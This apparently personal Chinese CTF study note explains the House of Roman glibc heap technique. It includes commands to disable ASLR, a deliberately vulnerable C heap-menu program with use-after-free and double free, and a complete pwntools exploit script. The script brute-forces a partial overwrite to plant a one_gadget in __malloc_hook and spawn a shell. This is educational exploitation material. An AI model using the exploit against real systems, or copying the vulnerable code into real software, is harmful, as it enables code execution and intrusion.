【我的 PWN 学习手札】House of Roman

House of Roman核心思想是利用了地址随机化,从而概率的获得指向目标地址的指针

目录

前言

一、ASLR

[二、House of Roman图解](#二、House of Roman图解)

三、模板与测试

(一)pwn.c

(二)exp.py

(三)调试分析


前言

一般来说House of Roman会和IO_File结合在一起,并不需要泄露libc,适用于没有回显的场景中。但是笔者还没学到那里,而且本篇也侧重于House of Roman手法本身。所以会泄露libc(为了one_gadget),再结合House of Roman打__malloc_hook。


一、ASLR

ASLR,全称为 Address Space Layout Randomization,地址空间布局随机化。ASLR 技术在 2005 年的 kernel 2.6.12 中被引入到 Linux 系统,它将进程的某些内存空间地址进行随机化来增大入侵者预测目的地址的难度,从而降低进程被成功入侵的风险。当前 Linux、Windows 等主流操作系统都已经采用该项技术。

Linux 平台上 ASLR 分为 0,1,2 三级,用户可以通过一个内核参数 randomize_va_space 进行等级控制。它们对应的效果如下:

0:没有随机化。即关闭 ASLR。
1:保留的随机化。共享库、栈、mmap() 以及 VDSO 将被随机化。
2:完全的随机化。在 1 的基础上,通过 brk() 分配的内存空间也将被随机化。

我们可以通过以下命令进行查看/修改:

Go 复制代码
root@xxxx:/home/xxxx# cat /proc/sys/kernel/randomize_va_space 
2
root@xxxx:/home/xxxx# echo 0 > /proc/sys/kernel/randomize_va_space 
root@xxxx:/home/xxxx# cat /proc/sys/kernel/randomize_va_space 
0

利用ASLR,可以实现1/16的概率修改指针到指定地址。这是因为libc的加载地址是页对齐的,这意味着我们修改两个字节,即[xyyy],只有x是不确定的,对应4bit,也就16种可能。具体来说看以下演示调试

二、House of Roman图解

一向喜欢图解,直观形象。

首先堆空间申请三个chunk,大小和布局如下图所示:

此时我们释放chunk2,chunk2将进入unsortedbin中

申请合适大小的chunk,使得unsortedbin中的chunk2被切割后,剩下0x70大小的chunk会放回到unsortedbin中,即写入unsortedbin指针------一个libc上的地址。

这时候我们申请chunk2,并修改堆上低两个字节,利用地址随机化,随机到目的地址

然后利用fastbin double free:

进一步我们可以控制到:

此时我们malloc 4次,就可以申请到targetaddr。在本例中,targetaddr是malloc_hook附近的一块错位符合0x7f size的fake chunk的地址。

还是搞不懂,怎么就错位,怎么就随机能够1/16的概率??嗯,我们来看调试

三、模板与测试

(一)pwn.c

cpp 复制代码
#include<stdlib.h>
#include <stdio.h>
#include <unistd.h>

char *chunk_list[0x100];

void menu() {
    puts("1. add chunk");
    puts("2. delete chunk");
    puts("3. edit chunk");
    puts("4. show chunk");
    puts("5. exit");
    puts("choice:");
}

int get_num() {
    char buf[0x10];
    read(0, buf, sizeof(buf));
    return atoi(buf);
}

void add_chunk() {
    puts("index:");
    int index = get_num();
    puts("size:");
    int size = get_num();
    chunk_list[index] = malloc(size);
}

void delete_chunk() {
    puts("index:");
    int index = get_num();
    free(chunk_list[index]);
}

void edit_chunk() {
    puts("index:");
    int index = get_num();
    puts("length:");
    int length = get_num();
    puts("content:");
    read(0, chunk_list[index], length);
}

void show_chunk() {
    puts("index:");
    int index = get_num();
    puts(chunk_list[index]);
}

int main() {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);

    while (1) {
        menu();
        switch (get_num()) {
            case 1:
                add_chunk();
                break;
            case 2:
                delete_chunk();
                break;
            case 3:
                edit_chunk();
                break;
            case 4:
                show_chunk();
                break;
            case 5:
                exit(0);
            default:
                puts("invalid choice.");
        }
    }
}

(二)exp.py

python 复制代码
from pwn import *
libc=ELF("./libc.so.6")
elf=ELF("./pwn")
context(arch=elf.arch,log_level='INFO')

def add(index,size):
    io.sendlineafter(b'choice:\n',b'1')
    io.sendlineafter(b'index:\n',str(index).encode())
    io.sendlineafter(b'size:\n',str(size).encode())
def delete(index):
    io.sendlineafter(b'choice:\n',b'2')
    io.sendlineafter(b'index:\n',str(index).encode())
def edit(index,length,content):
    io.sendlineafter(b'choice:\n',b'3')
    io.sendlineafter(b'index',str(index).encode())
    io.sendlineafter(b'length:\n',str(length).encode())
    io.sendafter(b'content:\n',content)
def show(index):
    io.sendlineafter(b'choice:\n',b'4')
    io.sendlineafter(b'index:\n',str(index).encode())

# gdb.attach(io)

while True:
    io=process('./pwn')
    try:
        # leak libc
        add(0,0x200)
        add(1,0x200)
        delete(0)
        show(0)
        libc.address=u64(io.recv(6).ljust(8,b'\x00'))-0x39bb78
        success(hex(libc.address))
        delete(1)

        # House of Roman
        add(0,0x68)
        add(1,0x98)
        add(2,0x68)
        delete(1)
        add(3,0x28)
        add(1,0x68)
        edit(1,0x2,p16(0xbaed))
        # pause()
        # fastbin double free
        delete(0)
        delete(2)
        delete(0)
        edit(2,1,p8(0xa0))
        add(3,0x68)
        add(3,0x68)
        add(3,0x68)
        add(3,0x68)

        # one_gadget
        '''
        0x3f3e6 execve("/bin/sh", rsp+0x30, environ)
        constraints:
        address rsp+0x40 is writable
        rax == NULL || {rax, "-c", rbx, NULL} is a valid argv

        0x3f43a execve("/bin/sh", rsp+0x30, environ)
        constraints:
        [rsp+0x30] == NULL || {[rsp+0x30], [rsp+0x38], [rsp+0x40], [rsp+0x48], ...} is a valid argv

        0xd5c07 execve("/bin/sh", rsp+0x70, environ)
        constraints:
        [rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv
        '''
        one_gadget=[0x3f3e6,0x3f43a,0xd5c07][2]+libc.address

        edit(3,0x13+8,p64(one_gadget).rjust(0x13+0x8,b'\x00'))
        add(0,0x10)
        io.interactive()
    except:
        print("failed this time, try again")
        sleep(1)
        io.close()

(三)调试分析

来看一下House of Roman的关键部分------低两字节写。

首先我们关闭ASLR

bash 复制代码
echo 0 > /proc/sys/kernel/randomize_va_space

然后调试:

unsortedbin中的大小为0xa0的chunk经过切割后剩下0x70大小的chunk:

查看一下__malloc_hook附近的fake chunk地址,为0x7ffff7baed,而此时申请出0x70则残留0x7ffff7b9bb78,可以看到这两个地址在同一个0x1000即同一个页中,所以页内偏移是固定的,只有这个'b'可能会因为地址随机而改变。因此4个bit,共16中可能,也就是1/16的概率。

由于我调试时发现我的libc尽管开启了ASLR,也总是0x100000对齐,所以展示意义不大。但在做题时,远程libc肯定是以页为对齐单位。

因此我们可以写一个循环,来随机到正确的地址实现fake chunk的申请,写__malloc_hook为ogg。

相关推荐
吾即是光2 天前
[HNCTF 2022 Week1]你想学密码吗?
ctf
吾即是光3 天前
[NSSCTF 2022 Spring Recruit]factor
ctf
吾即是光3 天前
[LitCTF 2023]easy_math (中级)
ctf
吾即是光3 天前
[HNCTF 2022 Week1]baby_rsa
ctf
云梦姐姐5 天前
Bugku-CTF getshell
ctf·wp
l2xcty5 天前
【网络安全】Web安全基础- 第一节:web前置基础知识
安全·web安全·网络安全·ctf
CH13hh9 天前
常回家看看之Tcache Stashing Unlink Attack
pwn·ctf
摸鱼也很难11 天前
文件包含漏洞下 日志文件的利用 && session文件竞争
ctf·ctfshow·文件包含进阶·web 80 81·web 87
lally.11 天前
CTF misc 流量分析特训
ctf·misc·流量分析
吾即是光12 天前
[SWPUCTF 2021 新生赛]crypto4
ctf